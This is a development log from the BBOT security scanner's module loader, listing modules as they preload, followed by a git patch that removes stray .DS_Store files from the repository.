bbot.module_loader modules.py:154 Preloading bucket_amazon from disk +2026-02-11 12:05:25,864 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk +2026-02-11 12:05:25,865 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk +2026-02-11 12:05:25,866 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk +2026-02-11 12:05:25,867 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk +2026-02-11 12:05:25,868 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk +2026-02-11 12:05:25,870 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk +2026-02-11 12:05:25,871 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk +2026-02-11 12:05:25,873 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk +2026-02-11 12:05:25,875 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk +2026-02-11 12:05:25,877 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk +2026-02-11 12:05:25,878 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk +2026-02-11 12:05:25,879 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk +2026-02-11 12:05:25,880 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk +2026-02-11 12:05:25,881 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk +2026-02-11 12:05:25,883 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk +2026-02-11 12:05:25,885 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk +2026-02-11 12:05:25,886 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk +2026-02-11 12:05:25,888 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk +2026-02-11 12:05:25,889 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk +2026-02-11 12:05:25,890 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk +2026-02-11 12:05:25,891 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk +2026-02-11 12:05:25,893 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk +2026-02-11 12:05:25,897 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk +2026-02-11 12:05:25,898 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk +2026-02-11 12:05:25,900 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk +2026-02-11 12:05:25,903 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk +2026-02-11 12:05:25,904 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk +2026-02-11 12:05:25,905 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk +2026-02-11 12:05:25,906 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk +2026-02-11 12:05:25,908 [DEBUG] bbot.module_loader modules.py:154 Preloading helloworld from disk +2026-02-11 12:05:25,908 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/helloworld.py as it is not a valid BBOT module +2026-02-11 12:05:25,909 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk +2026-02-11 12:05:25,910 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk +2026-02-11 12:05:25,914 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk +2026-02-11 12:05:25,917 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk +2026-02-11 12:05:25,918 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk +2026-02-11 12:05:25,919 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk +2026-02-11 12:05:25,920 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk +2026-02-11 12:05:25,925 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk +2026-02-11 12:05:25,926 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk +2026-02-11 12:05:25,927 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk +2026-02-11 12:05:25,930 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk +2026-02-11 12:05:25,931 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk +2026-02-11 12:05:25,932 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk +2026-02-11 12:05:25,934 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk +2026-02-11 12:05:25,935 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk +2026-02-11 12:05:25,937 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk +2026-02-11 12:05:25,939 [DEBUG] bbot.module_loader modules.py:154 Preloading wappalyzer from disk +2026-02-11 12:05:25,940 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk +2026-02-11 12:05:25,941 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk +2026-02-11 12:05:25,943 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-11 12:05:25,944 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk +2026-02-11 12:05:25,945 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk +2026-02-11 12:05:25,947 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk +2026-02-11 12:05:25,948 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk +2026-02-11 12:05:25,950 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk +2026-02-11 12:05:25,951 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk +2026-02-11 12:05:25,954 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk +2026-02-11 12:05:25,957 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk +2026-02-11 12:05:25,958 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk +2026-02-11 12:05:25,960 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk +2026-02-11 12:05:25,962 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk +2026-02-11 12:05:25,963 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk +2026-02-11 12:05:25,965 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk +2026-02-11 12:05:25,966 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk +2026-02-11 12:05:25,967 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk +2026-02-11 12:05:25,969 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk +2026-02-11 12:05:25,971 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk +2026-02-11 12:05:25,972 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk +2026-02-11 12:05:25,974 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk +2026-02-11 12:05:25,976 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk +2026-02-11 12:05:25,978 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk +2026-02-11 12:12:13,614 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-11 12:12:13,634 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-11 12:12:13,635 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-11 12:12:13,636 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-11 12:12:13,637 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-11 12:12:13,638 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-11 12:12:13,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-11 12:12:13,640 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-11 12:12:13,643 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-11 12:12:13,644 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-11 12:12:13,645 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-11 12:12:13,645 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-11 12:12:13,647 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-11 12:12:13,647 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-11 12:12:13,648 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-11 12:12:13,649 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-11 12:12:13,650 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-11 12:12:13,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-11 12:12:13,652 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-11 12:12:13,652 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-11 12:12:13,654 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-11 12:12:13,654 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-11 12:12:13,656 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-11 12:12:13,656 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-11 12:12:13,657 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-11 12:12:13,658 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-11 12:12:13,659 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-11 12:12:13,660 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-11 12:12:13,661 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-11 12:12:13,662 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-11 12:12:13,663 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-11 12:12:13,663 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-11 12:12:13,664 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-11 12:12:13,665 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-11 12:12:13,666 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-11 12:12:13,667 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-11 12:12:13,668 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-11 12:12:13,669 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-11 12:12:13,670 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-11 12:12:13,671 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-11 12:12:13,671 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-11 12:12:13,673 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-11 12:12:13,674 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-11 12:12:13,674 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-11 12:12:13,675 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-11 12:12:13,676 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-11 12:12:13,676 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-11 12:12:13,677 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-11 12:12:13,678 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-11 12:12:13,678 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-11 12:12:13,679 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-11 12:12:13,679 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-11 12:12:13,680 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-11 12:12:13,688 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-11 12:12:13,689 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-11 12:12:13,690 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-11 12:12:13,690 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-11 12:12:13,691 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-11 12:12:13,692 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-11 12:12:13,693 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-11 12:12:13,693 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-11 12:12:13,694 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-11 12:12:13,695 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-11 12:12:13,696 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-11 12:12:13,696 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-11 12:12:13,697 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-11 12:12:13,698 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-11 12:12:13,699 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-11 12:12:13,699 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-11 12:12:13,701 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-11 12:12:13,702 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-11 12:12:13,703 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-11 12:12:13,704 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-11 12:12:13,704 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-11 12:12:13,706 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-11 12:12:13,706 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-11 12:12:13,707 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-11 12:12:13,707 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-11 12:12:13,717 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-11 12:12:13,718 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-11 12:12:13,719 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-11 12:12:13,720 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-11 12:12:13,721 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-11 12:12:13,722 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-11 12:12:13,722 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-11 12:12:13,723 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-11 12:12:13,723 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-11 12:12:13,724 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-11 12:12:13,726 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-11 12:12:13,726 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-11 12:12:13,727 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-11 12:12:13,728 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-11 12:12:13,728 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-11 12:12:13,729 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-11 12:12:13,730 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-11 12:12:13,731 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-11 12:12:13,731 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-11 12:12:13,732 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-11 12:12:13,733 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-11 12:12:13,733 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-11 12:12:13,734 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-11 12:12:13,735 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-11 12:12:13,736 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-11 12:12:13,736 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-11 12:12:13,737 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-11 12:12:13,742 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-11 12:12:13,742 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-11 12:12:13,743 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-11 12:12:13,744 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-11 12:12:13,745 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-11 12:12:13,745 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-11 12:12:13,746 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-11 12:12:13,747 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-11 12:12:13,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-11 12:12:13,748 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-11 12:12:13,749 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-11 12:12:13,749 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-11 12:12:13,751 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-11 12:12:13,752 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-11 12:12:13,753 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-11 12:12:13,754 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-11 12:12:13,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-11 12:12:13,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-11 12:12:13,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-11 12:12:13,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-11 12:12:13,757 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-11 12:12:13,758 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-11 12:12:13,758 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-11 12:12:13,759 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-11 12:12:13,759 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-11 12:12:13,760 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-11 12:12:13,762 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-11 12:12:13,762 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-11 12:12:13,763 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-11 12:12:13,764 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-11 12:12:13,765 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-11 12:12:13,765 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-11 12:12:13,766 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:154 Preloading helloworld from disk +2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/helloworld.py as it is not a valid BBOT module +2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-11 12:12:13,768 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-11 12:12:13,769 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-11 12:12:13,771 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-11 12:12:13,772 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-11 12:12:13,773 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-11 12:12:13,773 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-11 12:12:13,774 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-11 12:12:13,775 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-11 12:12:13,775 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-11 12:12:13,776 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-11 12:12:13,777 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-11 12:12:13,777 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-11 12:12:13,778 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-11 12:12:13,779 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-11 12:12:13,779 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-11 12:12:13,780 [DEBUG] bbot.module_loader modules.py:152 Preloading wappalyzer from cache +2026-02-11 12:12:13,781 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-11 12:12:13,782 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-11 12:12:13,783 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-11 12:12:13,784 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-11 12:12:13,784 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-11 12:12:13,785 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-11 12:12:13,785 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-11 12:12:13,786 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-11 12:12:13,787 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-11 12:12:13,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-11 12:12:13,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-11 12:12:13,789 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-11 12:12:13,790 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-11 12:12:13,791 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-11 12:12:13,792 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache From fa8c04c0598b46d130e1959d9b3595e1080d8c33 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 13:23:31 +0200 Subject: [PATCH 246/912] Remove .DS_Store files --- .DS_Store | Bin 10244 -> 0 bytes .github/.DS_Store | Bin 6148 -> 0 bytes .gitignore | 1 + bbot/.DS_Store | Bin 8196 -> 0 bytes bbot/core/.DS_Store | Bin 6148 -> 0 bytes bbot/modules/.DS_Store | Bin 8196 -> 0 bytes bbot/scanner/.DS_Store | Bin 6148 -> 0 bytes bbot/test/.DS_Store | Bin 6148 -> 0 bytes docs/.DS_Store | Bin 6148 -> 0 bytes 9 files changed, 1 insertion(+) delete mode 100644 .DS_Store delete mode 100644 .github/.DS_Store delete mode 100644 bbot/.DS_Store delete mode 100644 bbot/core/.DS_Store delete mode 100644 bbot/modules/.DS_Store delete mode 100644 bbot/scanner/.DS_Store delete mode 100644 bbot/test/.DS_Store delete mode 100644 docs/.DS_Store diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index b7ef0e6a81869f1c0d99ba524e06b89a969a53fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10244 zcmeHM&ref95S}en3RUFf&DeO-7#oN&F(xJjS`3MDfOuB=gBECcwJij0y%;aXL{CN% zLOiH968{PH;Kh?i<!)m92lU$?ZD-%x2YNs~?2@-r-p;o(`|Zqooh=cG>5cLvQHF?8 zxTG9Eh0f9BxV$1QVeVXo6u=Xes74K1q86=1wEYdwfM>un;2H1?cn1Cl2Jp_7EtS^N z_nraIfM=l3fP6k=a7mdnva6+fbf8lu0Av!kRl{f00Sc2bGG}C0O9jQ8x_S@>DolwX zG#uj@sScSlva6+rlhAMy#<DOKicr>p%P4gcIW2wf8So558IZMmnzB@+3awl9d%Iqp zTr35RCIiK2HiCS<SPzQOOugSa`=hY?ZYqA>Mo|6(?Pe|FMH2p2X@xr6Lvd+t8aDf5 z+^3flUsJg^$|p8H@WM6D?TX7^Ff|SL?BbMTgNocb(bG>+4erDI*6^bl%}Zz=&PTi! z_eVXEiB7|xCT&v(d)G#P5Bs;I_ON36wto)39iq+sTtC0RGpqeP6ft1$_Yju<^j-2P zqp1ZZm+=?t`{qHsCinZ~!h_YjuljN4n3wZ>w6^81n2`P^ktIb6s54g&N+#ar>qf?1 z_NQu6ZJ=lE!V@ve$GGnwUVQ#$a;9&Cd+Qpv{CmA8?T+>QqbpQ~pCz2aRlsl-(NPQe z{1*D$=QOkfpejmk0<(>iyt<7N7ec5}$}>C5$jLfYLYQYE%o!I3_LdO|^{~Z6B7{zw zm9=dviB_DRwFlQ9K8Id^4!#GEZ>D<r$;Jm!?i#oD;Km-N#<!RXZ6OOA$V_lSVLuO` z!+DSBTmI6>E!Ujf?~mnX%{*5kbMY8DOwU?}{sK0t*3m)qEFm}B=-c773@wD#;>6hN zIk5wbQ;)CdTC2aN7~R3X9Hr}6TUy21IwENW@4Tuz)>T&TvaBAa+cZZrRG@iUq=FrP zB=d=Dk0Jurda>%Zpt6Z$(ukP=yi3-%fvM}<vMmXjPaHL--T_Tu0$K&S1bh}(5Y1ne zO&mKOdVk3LFCq^mC(?S=wym;^<40%#d`uyu??7f@u^d9kc;^WG>zil5GvFEU40r}S z1OJeLA#FP&&;JYYzyJS354~y6fM?*i84$_*VtyJ{%-MRxo-D#MxbEYUP3m>ER1kDh zMc!A(@%Tp`$6qw})ZvNwoHMekrGf*e;E?(>|JZ*F(5EA9UURzYdtN`g#;w}Y*Z<C1 T-Piv(If*|_<F)Z$t^a=k_CL~C diff --git a/.github/.DS_Store b/.github/.DS_Store deleted file mode 100644 index fe02f3d3b4ce10db4cbd3b791c0c246718695cfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmeHKOG*Pl5Ph9wkswHxy6Y?C29r1u1O*|+trCL<oMD0=vYl(V@eJO=l^5{@E`8P2 